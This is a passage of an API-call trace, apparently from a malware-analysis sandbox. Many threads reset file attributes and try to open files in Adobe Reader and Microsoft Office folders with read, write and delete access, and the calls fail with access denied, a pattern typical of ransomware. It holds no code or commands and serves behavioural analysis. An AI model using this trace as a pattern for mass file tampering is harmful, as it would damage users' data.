dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.779] GetLastError () returned 0x5 [0183.779] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt", dwFileAttributes=0x20) returned 0 [0183.779] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bb968) returned 1 Thread: id = 7628 os_tid = 0x17d4 [0183.779] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt")) returned 0x20 [0186.394] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt", dwFileAttributes=0x20) returned 0 [0186.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.395] GetLastError () returned 0x5 [0186.395] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro.txt", dwFileAttributes=0x20) returned 0 [0186.395] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5660) returned 1 Thread: id = 7629 os_tid = 0x17d8 [0183.780] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt")) returned 0x20 [0186.654] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt", dwFileAttributes=0x20) returned 0 [0186.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ro_ro.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.654] GetLastError () returned 0x5 [0186.654] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ro_RO.txt", dwFileAttributes=0x20) returned 0 [0186.654] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4780) returned 1 Thread: id = 7630 os_tid = 0x17dc [0183.781] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt")) returned 0x20 [0186.651] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt", dwFileAttributes=0x20) returned 0 [0186.651] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.651] GetLastError () returned 0x5 [0186.651] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt", dwFileAttributes=0x20) returned 0 [0186.651] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4be0) returned 1 Thread: id = 7631 os_tid = 0x17e0 [0183.782] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt")) returned 0x20 [0186.650] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt", dwFileAttributes=0x20) returned 0 [0186.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.650] GetLastError () returned 0x5 [0186.650] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt", dwFileAttributes=0x20) returned 0 [0186.650] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4080) returned 1 Thread: id = 7632 os_tid = 0x17e4 [0183.783] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt")) returned 0x20 [0186.649] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt", dwFileAttributes=0x20) returned 0 [0186.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ua.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.649] GetLastError () returned 0x5 [0186.649] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_UA.txt", dwFileAttributes=0x20) returned 0 [0186.649] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4320) returned 1 Thread: id = 7633 os_tid = 0x17e8 [0183.784] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt")) returned 0x20 [0186.648] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt", dwFileAttributes=0x20) returned 0 [0186.648] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.648] GetLastError () returned 0x5 [0186.648] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk.txt", dwFileAttributes=0x20) returned 0 [0186.648] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5580) returned 1 Thread: id = 7634 os_tid = 0x1838 [0183.784] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt")) returned 0x20 [0186.589] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt", dwFileAttributes=0x20) returned 0 [0186.589] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sk_sk.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.589] GetLastError () returned 0x5 [0186.589] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sk_SK.txt", dwFileAttributes=0x20) returned 0 [0186.627] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5ac0) returned 1 Thread: id = 7635 os_tid = 0x183c [0183.785] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt")) returned 0x20 [0186.643] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt", dwFileAttributes=0x20) returned 0 [0186.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.643] GetLastError () returned 0x5 [0186.643] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl.txt", dwFileAttributes=0x20) returned 0 [0186.643] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4860) returned 1 Thread: id = 7636 os_tid = 0x1840 [0183.785] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt")) returned 0x20 [0186.642] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt", dwFileAttributes=0x20) returned 0 [0186.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sl_si.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.642] GetLastError () returned 0x5 [0186.642] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sl_SI.txt", dwFileAttributes=0x20) returned 0 [0186.642] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5e40) returned 1 Thread: id = 7637 os_tid = 0xac4 [0183.786] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt")) returned 0x20 [0184.926] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt", dwFileAttributes=0x20) returned 0 [0185.941] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.396] GetLastError () returned 0x5 [0186.396] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt", dwFileAttributes=0x20) returned 0 [0186.396] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d46a0) returned 1 Thread: id = 7638 os_tid = 0xac8 [0183.786] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt")) returned 0x20 [0186.641] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt", dwFileAttributes=0x20) returned 0 [0186.641] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_fi.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.641] GetLastError () returned 0x5 [0186.641] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_FI.txt", dwFileAttributes=0x20) returned 0 [0186.641] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d45c0) returned 1 Thread: id = 7639 os_tid = 0xc08 [0183.786] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt")) returned 0x20 [0186.647] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt", dwFileAttributes=0x20) returned 0 [0186.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv_se.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.647] GetLastError () returned 0x5 [0186.647] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv_SE.txt", dwFileAttributes=0x20) returned 0 [0186.647] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4a20) returned 1 Thread: id = 7640 os_tid = 0xc10 [0183.787] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt")) returned 0x20 [0186.640] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt", dwFileAttributes=0x20) returned 0 [0186.640] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.640] GetLastError () returned 0x5 [0186.640] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr.txt", dwFileAttributes=0x20) returned 0 [0186.640] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4400) returned 1 Thread: id = 7641 os_tid = 0xae8 [0183.787] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt")) returned 0x20 [0186.639] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt", dwFileAttributes=0x20) returned 0 [0186.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.639] GetLastError () returned 0x5 [0186.639] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt", dwFileAttributes=0x20) returned 0 [0186.639] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d5ba0) returned 1 Thread: id = 7642 os_tid = 0xaec [0183.787] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt")) returned 0x20 [0186.638] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt", dwFileAttributes=0x20) returned 0 [0186.638] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.638] GetLastError () returned 0x5 [0186.638] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk.txt", dwFileAttributes=0x20) returned 0 [0186.638] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d59e0) returned 1 Thread: id = 7643 os_tid = 0xd00 [0183.788] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt")) returned 0x20 [0186.636] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt", dwFileAttributes=0x20) returned 0 [0186.636] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.uk_ua.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.637] GetLastError () returned 0x5 [0186.637] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.uk_UA.txt", dwFileAttributes=0x20) returned 0 [0186.637] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4240) returned 1 Thread: id = 7644 os_tid = 0xd04 [0183.788] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt")) returned 0x20 [0186.645] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt", dwFileAttributes=0x20) returned 0 [0186.646] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_cn.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.646] GetLastError () returned 0x5 [0186.646] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_CN.txt", dwFileAttributes=0x20) returned 0 [0186.646] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x971d08) returned 1 Thread: id = 7645 os_tid = 0x1aa4 [0183.788] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt")) returned 0x20 [0186.628] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt", dwFileAttributes=0x20) returned 0 [0186.628] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.629] GetLastError () returned 0x5 [0186.629] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW.txt", dwFileAttributes=0x20) returned 0 [0186.629] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x971de8) returned 1 Thread: id = 7646 os_tid = 0x1aa8 [0183.788] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt")) returned 0x20 [0186.644] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt", dwFileAttributes=0x20) returned 0 [0186.644] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.zh_tw_stroke.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0186.645] GetLastError () returned 0x5 [0186.645] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.zh_TW_STROKE.txt", dwFileAttributes=0x20) returned 0 [0186.645] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbe18) returned 1 Thread: id = 7647 os_tid = 0x1aac [0183.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0183.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF", dwFileAttributes=0x20) returned 0 [0183.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0183.789] GetLastError () returned 0x5 [0183.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF", dwFileAttributes=0x20) returned 0 [0183.789] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7b98) returned 1 Thread: id = 7648 os_tid = 0x1ab0 [0183.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf")) returned 0x20 [0183.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF", dwFileAttributes=0x20) returned 0 [0183.790] 